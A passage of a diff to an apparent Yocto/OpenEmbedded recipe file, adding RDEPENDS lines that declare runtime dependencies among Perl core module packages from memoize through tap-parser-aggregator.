+RDEPENDS:perl-module-memoize-sdbm-file += "perl-module-sdbm-file"
+RDEPENDS:perl-module-memoize-storable += "perl-module-storable"
+RDEPENDS:perl-module-mime-base64 += "perl-module-exporter"
+RDEPENDS:perl-module-mime-base64 += "perl-module-strict"
+RDEPENDS:perl-module-mime-base64 += "perl-module-warnings"
+RDEPENDS:perl-module-mime-base64 += "perl-module-xsloader"
+RDEPENDS:perl-module-mime-quotedprint += "perl-module-exporter"
+RDEPENDS:perl-module-mime-quotedprint += "perl-module-mime-base64"
+RDEPENDS:perl-module-mime-quotedprint += "perl-module-strict"
+RDEPENDS:perl-module-mime-quotedprint += "perl-module-warnings"
+RDEPENDS:perl-module-mro += "perl-module-strict"
+RDEPENDS:perl-module-mro += "perl-module-warnings"
+RDEPENDS:perl-module-mro += "perl-module-xsloader"
+RDEPENDS:perl-module-net-cmd += "perl-module-constant"
+RDEPENDS:perl-module-net-cmd += "perl-module-errno"
+RDEPENDS:perl-module-net-cmd += "perl-module-exporter"
+RDEPENDS:perl-module-net-cmd += "perl-module-strict"
+RDEPENDS:perl-module-net-cmd += "perl-module-warnings"
+RDEPENDS:perl-module-net-config += "perl-module-exporter"
+RDEPENDS:perl-module-net-config += "perl-module-socket"
+RDEPENDS:perl-module-net-config += "perl-module-strict"
+RDEPENDS:perl-module-net-config += "perl-module-warnings"
+RDEPENDS:perl-module-net-domain += "perl-module-exporter"
+RDEPENDS:perl-module-net-domain += "perl-module-net-config"
+RDEPENDS:perl-module-net-domain += "perl-module-posix"
+RDEPENDS:perl-module-net-domain += "perl-module-socket"
+RDEPENDS:perl-module-net-domain += "perl-module-strict"
+RDEPENDS:perl-module-net-domain += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-a += "perl-module-net-ftp-dataconn"
+RDEPENDS:perl-module-net-ftp-a += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-a += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-dataconn += "perl-module-errno"
+RDEPENDS:perl-module-net-ftp-dataconn += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-ftp-dataconn += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-dataconn += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-e += "perl-module-net-ftp-i"
+RDEPENDS:perl-module-net-ftp-e += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-e += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-i += "perl-module-net-ftp-dataconn"
+RDEPENDS:perl-module-net-ftp-i += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-i += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-l += "perl-module-net-ftp-i"
+RDEPENDS:perl-module-net-ftp-l += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-l += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp += "perl-module-constant"
+RDEPENDS:perl-module-net-ftp += "perl-module-fcntl"
+RDEPENDS:perl-module-net-ftp += "perl-module-file-basename"
+RDEPENDS:perl-module-net-ftp += "perl-module-io-socket"
+RDEPENDS:perl-module-net-ftp += "perl-module-io-socket-ip"
+RDEPENDS:perl-module-net-ftp += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-ftp += "perl-module-net-config"
+RDEPENDS:perl-module-net-ftp += "perl-module-net-ftp-a"
+RDEPENDS:perl-module-net-ftp += "perl-module-net-netrc"
+RDEPENDS:perl-module-net-ftp += "perl-module-socket"
+RDEPENDS:perl-module-net-ftp += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp += "perl-module-time-local"
+RDEPENDS:perl-module-net-ftp += "perl-module-warnings"
+RDEPENDS:perl-module-net-hostent += "perl-module-class-struct"
+RDEPENDS:perl-module-net-hostent += "perl-module-exporter"
+RDEPENDS:perl-module-net-hostent += "perl-module-socket"
+RDEPENDS:perl-module-net-hostent += "perl-module-strict"
+RDEPENDS:perl-module-net-netent += "perl-module-class-struct"
+RDEPENDS:perl-module-net-netent += "perl-module-exporter"
+RDEPENDS:perl-module-net-netent += "perl-module-socket"
+RDEPENDS:perl-module-net-netent += "perl-module-strict"
+RDEPENDS:perl-module-net-netrc += "perl-module-filehandle"
+RDEPENDS:perl-module-net-netrc += "perl-module-strict"
+RDEPENDS:perl-module-net-netrc += "perl-module-warnings"
+RDEPENDS:perl-module-net-nntp += "perl-module-io-socket"
+RDEPENDS:perl-module-net-nntp += "perl-module-io-socket-ip"
+RDEPENDS:perl-module-net-nntp += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-nntp += "perl-module-net-config"
+RDEPENDS:perl-module-net-nntp += "perl-module-strict"
+RDEPENDS:perl-module-net-nntp += "perl-module-time-local"
+RDEPENDS:perl-module-net-nntp += "perl-module-warnings"
+RDEPENDS:perl-module-net-ping += "perl-module-constant"
+RDEPENDS:perl-module-net-ping += "perl-module-exporter"
+RDEPENDS:perl-module-net-ping += "perl-module-fcntl"
+RDEPENDS:perl-module-net-ping += "perl-module-filehandle"
+RDEPENDS:perl-module-net-ping += "perl-module-io-socket-inet"
+RDEPENDS:perl-module-net-ping += "perl-module-posix"
+RDEPENDS:perl-module-net-ping += "perl-module-socket"
+RDEPENDS:perl-module-net-ping += "perl-module-strict"
+RDEPENDS:perl-module-net-ping += "perl-module-time-hires"
+RDEPENDS:perl-module-net-ping += "perl-module-vars"
+RDEPENDS:perl-module-net-pop3 += "perl-module-io-socket"
+RDEPENDS:perl-module-net-pop3 += "perl-module-io-socket-ip"
+RDEPENDS:perl-module-net-pop3 += "perl-module-mime-base64"
+RDEPENDS:perl-module-net-pop3 += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-pop3 += "perl-module-net-config"
+RDEPENDS:perl-module-net-pop3 += "perl-module-net-netrc"
+RDEPENDS:perl-module-net-pop3 += "perl-module-strict"
+RDEPENDS:perl-module-net-pop3 += "perl-module-warnings"
+RDEPENDS:perl-module-net-protoent += "perl-module-class-struct"
+RDEPENDS:perl-module-net-protoent += "perl-module-exporter"
+RDEPENDS:perl-module-net-protoent += "perl-module-strict"
+RDEPENDS:perl-module-net-servent += "perl-module-class-struct"
+RDEPENDS:perl-module-net-servent += "perl-module-exporter"
+RDEPENDS:perl-module-net-servent += "perl-module-strict"
+RDEPENDS:perl-module-net-smtp += "perl-module-io-socket"
+RDEPENDS:perl-module-net-smtp += "perl-module-io-socket-ip"
+RDEPENDS:perl-module-net-smtp += "perl-module-mime-base64"
+RDEPENDS:perl-module-net-smtp += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-smtp += "perl-module-net-config"
+RDEPENDS:perl-module-net-smtp += "perl-module-socket"
+RDEPENDS:perl-module-net-smtp += "perl-module-strict"
+RDEPENDS:perl-module-net-smtp += "perl-module-warnings"
+RDEPENDS:perl-module-net-time += "perl-module-exporter"
+RDEPENDS:perl-module-net-time += "perl-module-io-select"
+RDEPENDS:perl-module-net-time += "perl-module-io-socket"
+RDEPENDS:perl-module-net-time += "perl-module-net-config"
+RDEPENDS:perl-module-net-time += "perl-module-strict"
+RDEPENDS:perl-module-net-time += "perl-module-warnings"
+RDEPENDS:perl-module-next += "perl-module-overload"
+RDEPENDS:perl-module-next += "perl-module-strict"
+RDEPENDS:perl-module-next += "perl-module-warnings"
+RDEPENDS:perl-module-ok += "perl-module-strict"
+RDEPENDS:perl-module-ok += "perl-module-test-more"
+RDEPENDS:perl-module-opcode += "perl-module-exporter"
+RDEPENDS:perl-module-opcode += "perl-module-strict"
+RDEPENDS:perl-module-opcode += "perl-module-subs"
+RDEPENDS:perl-module-opcode += "perl-module-xsloader"
+RDEPENDS:perl-module-open += "perl-module-encode"
+RDEPENDS:perl-module-open += "perl-module-encoding"
+RDEPENDS:perl-module-open += "perl-module-warnings"
+RDEPENDS:perl-module-o += "perl-module-b"
+RDEPENDS:perl-module-ops += "perl-module-opcode"
+RDEPENDS:perl-module-overloading += "perl-module-overload-numbers"
+RDEPENDS:perl-module-overloading += "perl-module-warnings"
+RDEPENDS:perl-module-overload += "perl-module-mro"
+RDEPENDS:perl-module-overload += "perl-module-strict"
+RDEPENDS:perl-module-overload += "perl-module-warnings-register"
+RDEPENDS:perl-module-params-check += "perl-module-exporter"
+RDEPENDS:perl-module-params-check += "perl-module-locale-maketext-simple"
+RDEPENDS:perl-module-params-check += "perl-module-strict"
+RDEPENDS:perl-module-params-check += "perl-module-vars"
+RDEPENDS:perl-module-parent += "perl-module-strict"
+RDEPENDS:perl-module-perlfaq += "perl-module-strict"
+RDEPENDS:perl-module-perlfaq += "perl-module-warnings"
+RDEPENDS:perl-module-perlio-encoding += "perl-module-strict"
+RDEPENDS:perl-module-perlio-encoding += "perl-module-xsloader"
+RDEPENDS:perl-module-perlio-mmap += "perl-module-strict"
+RDEPENDS:perl-module-perlio-mmap += "perl-module-warnings"
+RDEPENDS:perl-module-perlio-mmap += "perl-module-xsloader"
+RDEPENDS:perl-module-perlio-scalar += "perl-module-xsloader"
+RDEPENDS:perl-module-perlio-via += "perl-module-xsloader"
+RDEPENDS:perl-module-perlio-via-quotedprint += "perl-module-mime-quotedprint"
+RDEPENDS:perl-module-perlio-via-quotedprint += "perl-module-strict"
+RDEPENDS:perl-module-pod-checker += "perl-module-base"
+RDEPENDS:perl-module-pod-checker += "perl-module-exporter"
+RDEPENDS:perl-module-pod-checker += "perl-module-strict"
+RDEPENDS:perl-module-pod-checker += "perl-module-warnings"
+RDEPENDS:perl-module-pod-escapes += "perl-module-exporter"
+RDEPENDS:perl-module-pod-escapes += "perl-module-strict"
+RDEPENDS:perl-module-pod-escapes += "perl-module-vars"
+RDEPENDS:perl-module-pod-escapes += "perl-module-warnings"
+RDEPENDS:perl-module-pod-functions += "perl-module-exporter"
+RDEPENDS:perl-module-pod-functions += "perl-module-strict"
+RDEPENDS:perl-module-pod-man += "perl-module-file-basename"
+RDEPENDS:perl-module-pod-man += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-man += "perl-module-strict"
+RDEPENDS:perl-module-pod-man += "perl-module-subs"
+RDEPENDS:perl-module-pod-man += "perl-module-vars"
+RDEPENDS:perl-module-pod-man += "perl-module-warnings"
+RDEPENDS:perl-module-pod-parselink += "perl-module-exporter"
+RDEPENDS:perl-module-pod-parselink += "perl-module-strict"
+RDEPENDS:perl-module-pod-parselink += "perl-module-vars"
+RDEPENDS:perl-module-pod-parselink += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-baseto += "perl-module-config"
+RDEPENDS:perl-module-pod-perldoc-baseto += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-baseto += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-baseto += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-getoptsoo += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-getoptsoo += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-config"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-encode"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-fcntl"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-file-basename"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-file-temp"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-pod-perldoc-getoptsoo"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-text-parsewords"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-pod-text-color"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-tochecker += "perl-module-pod-checker"
+RDEPENDS:perl-module-pod-perldoc-tochecker += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-tochecker += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-tochecker += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-encode"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-io-handle"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-io-select"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-ipc-open3"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-pod-man"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-pod-perldoc-topod"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-pod-man"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-topod += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-topod += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-topod += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-topod += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-tortf += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-tortf += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-tortf += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-tortf += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-pod-text-termcap"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-pod-text"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-toxml += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-toxml += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-toxml += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-toxml += "perl-module-warnings"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-if"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-integer"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-pod-simple-transcode"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-pod-simple-methody"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-text-wrap"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-debug += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-debug += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-debug += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-dumpastext += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-dumpastext += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-dumpasxml += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-dumpasxml += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-dumpasxml += "perl-module-text-wrap"
+RDEPENDS:perl-module-pod-simple-justpod += "perl-module-pod-simple-methody"
+RDEPENDS:perl-module-pod-simple-justpod += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-justpod += "perl-module-warnings"
+RDEPENDS:perl-module-pod-simple-linksection += "perl-module-overload"
+RDEPENDS:perl-module-pod-simple-linksection += "perl-module-pod-simple-blackbox"
+RDEPENDS:perl-module-pod-simple-linksection += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-linksection += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-methody += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-methody += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-methody += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple += "perl-module-integer"
+RDEPENDS:perl-module-pod-simple += "perl-module-pod-escapes"
+RDEPENDS:perl-module-pod-simple += "perl-module-pod-simple-blackbox"
+RDEPENDS:perl-module-pod-simple += "perl-module-pod-simple-linksection"
+RDEPENDS:perl-module-pod-simple += "perl-module-pod-simple-tiedoutfh"
+RDEPENDS:perl-module-pod-simple += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-progress += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparserendtoken += "perl-module-pod-simple-pullparsertoken"
+RDEPENDS:perl-module-pod-simple-pullparserendtoken += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparserendtoken += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserendtoken"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserstarttoken"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparsertexttoken"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparserstarttoken += "perl-module-pod-simple-pullparsertoken"
+RDEPENDS:perl-module-pod-simple-pullparserstarttoken += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparserstarttoken += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-pullparsertexttoken += "perl-module-pod-simple-pullparsertoken"
+RDEPENDS:perl-module-pod-simple-pullparsertexttoken += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparsertexttoken += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-pullparsertoken += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-if"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-integer"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-pod-simple-pullparser"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-config"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-cwd"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-file-basename"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-simpletree += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-simpletree += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-simpletree += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-textcontent += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-textcontent += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-textcontent += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-pod-simple-methody"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-text-wrap"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-tiedoutfh += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-tiedoutfh += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-transcodedumb += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-transcodedumb += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-transcode += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-transcode += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-transcodesmart += "perl-module-encode"
+RDEPENDS:perl-module-pod-simple-transcodesmart += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-transcodesmart += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-transcodesmart += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-xmloutstream += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-xmloutstream += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-xmloutstream += "perl-module-vars"
+RDEPENDS:perl-module-pod-text-color += "perl-module-pod-text"
+RDEPENDS:perl-module-pod-text-color += "perl-module-strict"
+RDEPENDS:perl-module-pod-text-color += "perl-module-term-ansicolor"
+RDEPENDS:perl-module-pod-text-color += "perl-module-vars"
+RDEPENDS:perl-module-pod-text-color += "perl-module-warnings"
+RDEPENDS:perl-module-pod-text-overstrike += "perl-module-pod-text"
+RDEPENDS:perl-module-pod-text-overstrike += "perl-module-strict"
+RDEPENDS:perl-module-pod-text-overstrike += "perl-module-vars"
+RDEPENDS:perl-module-pod-text-overstrike += "perl-module-warnings"
+RDEPENDS:perl-module-pod-text += "perl-module-encode"
+RDEPENDS:perl-module-pod-text += "perl-module-exporter"
+RDEPENDS:perl-module-pod-text += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-text += "perl-module-strict"
+RDEPENDS:perl-module-pod-text += "perl-module-vars"
+RDEPENDS:perl-module-pod-text += "perl-module-warnings"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-pod-text"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-posix"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-strict"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-term-cap"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-vars"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-warnings"
+RDEPENDS:perl-module-pod-usage += "perl-module-config"
+RDEPENDS:perl-module-pod-usage += "perl-module-exporter"
+RDEPENDS:perl-module-pod-usage += "perl-module-strict"
+RDEPENDS:perl-module-posix += "perl-module-exporter"
+RDEPENDS:perl-module-posix += "perl-module-fcntl"
+RDEPENDS:perl-module-posix += "perl-module-strict"
+RDEPENDS:perl-module-posix += "perl-module-tie-hash"
+RDEPENDS:perl-module-posix += "perl-module-warnings"
+RDEPENDS:perl-module-posix += "perl-module-xsloader"
+RDEPENDS:perl-module-re += "perl-module-exporter"
+RDEPENDS:perl-module-re += "perl-module-strict"
+RDEPENDS:perl-module-re += "perl-module-term-cap"
+RDEPENDS:perl-module-re += "perl-module-warnings"
+RDEPENDS:perl-module-re += "perl-module-xsloader"
+RDEPENDS:perl-module-safe += "perl-module-b"
+RDEPENDS:perl-module-safe += "perl-module-opcode"
+RDEPENDS:perl-module-safe += "perl-module-strict"
+RDEPENDS:perl-module-safe += "perl-module-utf8"
+RDEPENDS:perl-module-sdbm-file += "perl-module-exporter"
+RDEPENDS:perl-module-sdbm-file += "perl-module-strict"
+RDEPENDS:perl-module-sdbm-file += "perl-module-tie-hash"
+RDEPENDS:perl-module-sdbm-file += "perl-module-warnings"
+RDEPENDS:perl-module-sdbm-file += "perl-module-xsloader"
+RDEPENDS:perl-module-search-dict += "perl-module-exporter"
+RDEPENDS:perl-module-search-dict += "perl-module-feature"
+RDEPENDS:perl-module-search-dict += "perl-module-strict"
+RDEPENDS:perl-module-selfloader += "perl-module-exporter"
+RDEPENDS:perl-module-selfloader += "perl-module-io-handle"
+RDEPENDS:perl-module-selfloader += "perl-module-strict"
+RDEPENDS:perl-module-socket += "perl-module-exporter"
+RDEPENDS:perl-module-socket += "perl-module-strict"
+RDEPENDS:perl-module-socket += "perl-module-warnings-register"
+RDEPENDS:perl-module-socket += "perl-module-xsloader"
+RDEPENDS:perl-module-sort += "perl-module-strict"
+RDEPENDS:perl-module-sort += "perl-module-warnings"
+RDEPENDS:perl-module-storable += "perl-module-exporter"
+RDEPENDS:perl-module-storable += "perl-module-io-file"
+RDEPENDS:perl-module-subs += "perl-module-strict"
+RDEPENDS:perl-module-subs += "perl-module-warnings"
+RDEPENDS:perl-module-sub-util += "perl-module-exporter"
+RDEPENDS:perl-module-sub-util += "perl-module-list-util"
+RDEPENDS:perl-module-sub-util += "perl-module-strict"
+RDEPENDS:perl-module-sub-util += "perl-module-warnings"
+RDEPENDS:perl-module-sys-hostname += "perl-module-exporter"
+RDEPENDS:perl-module-sys-hostname += "perl-module-posix"
+RDEPENDS:perl-module-sys-hostname += "perl-module-strict"
+RDEPENDS:perl-module-sys-hostname += "perl-module-warnings"
+RDEPENDS:perl-module-sys-hostname += "perl-module-xsloader"
+RDEPENDS:perl-module-sys-syslog += "perl-module-config"
+RDEPENDS:perl-module-sys-syslog += "perl-module-constant"
+RDEPENDS:perl-module-sys-syslog += "perl-module-dynaloader"
+RDEPENDS:perl-module-sys-syslog += "perl-module-exporter"
+RDEPENDS:perl-module-sys-syslog += "perl-module-fcntl"
+RDEPENDS:perl-module-sys-syslog += "perl-module-file-basename"
+RDEPENDS:perl-module-sys-syslog += "perl-module-posix"
+RDEPENDS:perl-module-sys-syslog += "perl-module-socket"
+RDEPENDS:perl-module-sys-syslog += "perl-module-strict"
+RDEPENDS:perl-module-sys-syslog += "perl-module-sys-hostname"
+RDEPENDS:perl-module-sys-syslog += "perl-module-vars"
+RDEPENDS:perl-module-sys-syslog += "perl-module-warnings"
+RDEPENDS:perl-module-sys-syslog += "perl-module-warnings-register"
+RDEPENDS:perl-module-sys-syslog += "perl-module-xsloader"
+RDEPENDS:perl-module-tap-base += "perl-module-base"
+RDEPENDS:perl-module-tap-base += "perl-module-constant"
+RDEPENDS:perl-module-tap-base += "perl-module-strict"
+RDEPENDS:perl-module-tap-base += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-config"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-posix"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-tap-formatter-color"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-color += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-color += "perl-module-constant"
+RDEPENDS:perl-module-tap-formatter-color += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-color += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-constant"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-file-path"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-console += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-console += "perl-module-posix"
+RDEPENDS:perl-module-tap-formatter-console += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-console += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-console-session += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-console-session += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-console-session += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-posix"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-tap-formatter-file-session"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-file-session += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-file-session += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-file-session += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-session += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-session += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-session += "perl-module-warnings"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-constant"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-strict"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-tap-object"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-text-parsewords"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-warnings"
+RDEPENDS:perl-module-tap-harness += "perl-module-base"
+RDEPENDS:perl-module-tap-harness += "perl-module-file-path"
+RDEPENDS:perl-module-tap-harness += "perl-module-io-handle"
+RDEPENDS:perl-module-tap-harness += "perl-module-strict"
+RDEPENDS:perl-module-tap-harness += "perl-module-warnings"
+RDEPENDS:perl-module-tap-object += "perl-module-strict"
+RDEPENDS:perl-module-tap-object += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-aggregator += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-aggregator += "perl-module-benchmark"
+RDEPENDS:perl-module-tap-parser-aggregator += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-aggregator += "perl-module-warnings"
